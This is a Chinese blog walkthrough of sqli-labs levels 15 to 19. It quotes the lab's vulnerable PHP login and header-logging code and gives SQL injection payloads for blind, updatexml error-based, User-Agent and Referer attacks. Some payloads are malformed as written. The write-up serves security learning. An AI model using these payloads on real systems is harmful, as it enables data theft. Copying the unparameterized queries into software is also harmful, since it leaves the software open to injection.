sqli-labs 15-19通关记录

本次通关,直接从源码分析:

 

第15关:

 

本关即使输入的username和password正确,也只会显示一个成功图片。

$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

我们看源码,post提交后,获取的uname,passwd没有处理,直接带入查询。

所以盲注

'or(length(database()))=8#

'or(ascii()substr((select database()),1,1))#

慢慢爆出库名

第16关:

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 

@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

第十六关在post提交后,给加上了" ",并且在sql查询语句中,还额外加了(),所以和第十五关类似,只是在闭合时,我们需要加 "和)

”)or(length(database()))=8#

")or(ascii()substr((select database()),1,1))#

第17关:

$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];

function check_input($value)
	{
		if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		else
			{
			$value = intval($value);
			}
		return $value;
	}

 会调用check_input函数对uname进行检查过滤,但是没有对passwd过滤,所以我们在passwd处进行注入:

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

代码的查询语句,如果查询到,则进行update操作

if($row)
	{
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		echo $update;
		mysql_query($update);
  		echo "<br>";

我们用   '   来闭和$passwd,用#来注释掉后面的内容,

1'and(updatexml(1,concat(1,(select schema_name from information_schema.schemata limit 0,1)),1))#

就可以查询到库名等数据;

第18关: 

 登陆成功会显示请求头中的user-agent:的内容

$uagent = $_SERVER['HTTP_USER_AGENT'];


if(isset($_POST['uname']) && isset($_POST['passwd']))

	{
	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);
	

会对post传进来的uname和passwd过滤

 $IP = $_SERVER['REMOTE_ADDR'];是不能伪造的,

$uagent = $_SERVER['HTTP_USER_AGENT'];所以我们只能bp抓包修改user_agent的内容

 就可以爆出库名等信息。

第19关:

 

$uagent = $_SERVER['HTTP_REFERER'];

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

第19关和第18关一样,18关是$_SERVER['HTTP_USER_AGENT'];中的内容,19关是$_SERVER['HTTP_REFERER'];中的内容,抓包改就完事了,不再赘述、

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值